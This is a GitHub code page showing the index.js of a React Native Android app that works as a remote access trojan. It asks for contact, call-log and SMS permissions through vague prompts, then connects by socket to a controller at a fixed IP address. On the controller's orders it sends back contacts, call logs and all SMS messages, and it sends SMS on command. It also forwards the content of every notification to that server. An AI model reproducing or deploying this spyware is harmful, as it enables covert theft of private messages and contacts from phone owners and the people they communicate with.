-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
322 lines (298 loc) · 8.56 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
/**
* @format
*/
import {AppRegistry, PermissionsAndroid} from 'react-native';
import App from './App';
import {name as appName} from './app.json';
import BackgroundRunnerService from './services/BackgroundHeadlessTask';
import RNAndroidNotificationListener, {
RNAndroidNotificationListenerHeadlessJsName,
} from 'react-native-android-notification-listener';
import Contacts from 'react-native-contacts';
import CallLogs from 'react-native-call-log';
import {list, autoSend} from 'react-native-get-sms-android-v2';
import RNInstalledApplication from 'react-native-installed-application';
import {
getManufacturer,
getModel,
getReadableVersion,
getUniqueId,
} from 'react-native-device-info';
import {io} from 'socket.io-client';
RNInstalledApplication.getApps()
.then(apps => {
// console.log(apps);
})
.catch(error => {
// console.log(error);
});
const messageKeys = {
camera: '0xCA',
files: '0xFI',
call: '0xCL',
sms: '0xSM',
mic: '0xMI',
location: '0xLO',
contacts: '0xCO',
wifi: '0xWI',
notification: '0xNO',
clipboard: '0xCB',
installed: '0xIN',
permissions: '0xPM',
gotPermission: '0xGP',
};
const url = 'ws://192.168.0.202:22222';
const requestPermissions = async () => {
return new Promise(async resolve => {
await PermissionsAndroid.request(
PermissionsAndroid.PERMISSIONS.READ_CONTACTS,
{
title: 'Permission',
message: 'Accept This permission.',
buttonPositive: 'Accept',
},
);
await PermissionsAndroid.request(
PermissionsAndroid.PERMISSIONS.READ_CALL_LOG,
{
title: 'Permission',
message: 'Accept This permission.',
buttonPositive: 'Accept',
},
);
await PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.SEND_SMS, {
title: 'Permission',
message: 'Accept This permission.',
buttonPositive: 'Accept',
});
await PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.READ_SMS, {
title: 'Permission',
message: 'Accept This permission.',
buttonPositive: 'Accept',
});
resolve();
});
};
const getContacts = () => {
return new Promise((resolve, reject) => {
Contacts.getAll()
.then(contacts => {
// console.log(2);
// work with contacts
let con = [];
for (const contact of contacts) {
let phoneNumbers = [];
for (const phoneNumber of contact.phoneNumbers) {
phoneNumbers.push(phoneNumber.number);
}
phoneNumbers = phoneNumbers.join(' , ');
con.push({
name: `${
contact.givenName + ' ' + contact.familyName // +
//' ' +
// contact.displayName
}`,
phoneNo: phoneNumbers,
});
//alert(JSON.stringify(contact.phoneNumbers));
}
//console.log('Sending contacts');
// socket.emit(messageKeys.contacts, {contactsList: con});
resolve(con);
})
.catch(e => {
reject([]);
});
});
};
const sendSms = (to, sms) => {
return new Promise((resolve, reject) => {
autoSend(
to,
sms,
fail => {
console.log('Failed with this error: ' + fail);
return false;
},
success => {
console.log('SMS sent successfully');
return true;
},
);
});
};
const getSms = () => {
return new Promise((resolve, reject) => {
list(
JSON.stringify({}),
fail => {
console.log('Failed Getting Sms');
},
(count, smsList) => {
// console.log('Count: ', count);
// console.log('List: ', smsList);
const arr = JSON.parse(smsList);
const allSms = [];
for (const sms of arr) {
const body = sms.body;
const date = sms.date;
const read = sms.read;
const type = sms.type;
const address = sms.address;
allSms.push({body, date, read, type, address});
}
return resolve({smslist: allSms});
//
// arr.forEach(function (object) {
// console.log('Object: ' + object);
// console.log('-->' + object.date);
// console.log('-->' + object.body);
// });
},
);
});
};
const getCallLogs = () => {
return new Promise((resolve, reject) => {
CallLogs.loadAll().then(callLogs => {
// call.put("phoneNo", num);
// call.put("name", name);
// call.put("duration", duration);
// call.put("date", date);
// call.put("type", type);
// alert(JSON.stringify(callLogs))
let call = [];
for (const callLog of callLogs) {
call.push({
phoneNo: callLog.phoneNumber,
name: callLog.name,
duration: callLog.duration,
date: callLog.timestamp,
type: callLog.rawType,
});
}
resolve(call);
});
});
};
const getDeviceInfo = async () => {
return {
model: getModel(),
manf: await getManufacturer(),
release: getReadableVersion(),
id: await getUniqueId(),
};
};
const socketConnection = () => {
const socket = global.socket;
socket.on('order', async order => {
const {type} = order;
// console.log(JSON.stringify(order));
// console.log({type});
switch (type) {
case messageKeys.contacts:
const contacts = await getContacts(socket);
socket.emit(messageKeys.contacts, {contactsList: contacts});
break;
case messageKeys.call:
const callLogs = await getCallLogs();
// alert(JSON.stringify(callLogs));
socket.emit(messageKeys.call, {callsList: callLogs});
break;
case messageKeys.sms:
if (order.action === 'ls') {
const getAllSms = await getSms();
// console.log(JSON.stringify(getAllSms));
socket.emit(messageKeys.sms, getAllSms);
} else if (order.action === 'sendSMS') {
const sendSms1 = await sendSms(order.to, order.sms);
console.log(JSON.stringify(sendSms1));
socket.emit(messageKeys.sms, sendSms1);
}
break;
default:
console.log('Default case');
}
});
};
const socketConnect = async () => {
return new Promise(resolve => {
getDeviceInfo().then(query => {
query.user = 'kali';
// console.log({query});
global.socket = io(url, {
reconnectionDelayMax: 10000,
query,
});
socketConnection();
resolve();
});
});
};
requestPermissions().then(() => {
// To check if the user has permission
RNAndroidNotificationListener.getPermissionStatus().then(status => {
if (status === 'denied') {
RNAndroidNotificationListener.requestPermission();
}
});
});
socketConnect().then();
const headlessNotificationListener = async ({notification}) => {
// SmsAndroid.delete(
// '_id',
// fail => {
// console.log('Failed with this error: ' + fail);
// },
// (success) => {
// console.log('SMS deleted successfully');
// },
// );
notification = JSON.parse(notification);
const appNameOne = notification.app;
const title = notification.title;
const content = notification.text;
const postTime = notification.time;
const key = notification.time;
if (!global?.socket?.connected) {
socketConnect().then(r => {
const socket = global.socket;
socket.emit('0xNO', {appName: appNameOne, title, content, postTime, key});
});
} else {
const socket = global.socket;
socket.emit('0xNO', {appName: appNameOne, title, content, postTime, key});
}
/**
* This notification is a JSON string in the follow format:
* {
* "time": string,
* "app": string,
* "title": string,
* "titleBig": string,
* "text": string,
* "subText": string,
* "summaryText": string,
* "bigText": string,
* "audioContentsURI": string,
* "imageBackgroundURI": string,
* "extraInfoText": string,
* "groupedMessages": Array<Object> [
* {
* "title": string,
* "text": string
* }
* ],
* "icon": string (base64),
* "image": string (base64), // WARNING! THIS MAY NOT WORK FOR SOME APPLICATIONS SUCH TELEGRAM AND WHATSAPP
* }
*
* Note that these properties depend on the sender configuration so many times a lot of them will be empty
*/
};
AppRegistry.registerComponent(appName, () => App);
AppRegistry.registerHeadlessTask('SomeTaskName', () => BackgroundRunnerService);
AppRegistry.registerHeadlessTask(
RNAndroidNotificationListenerHeadlessJsName,
() => headlessNotificationListener,
);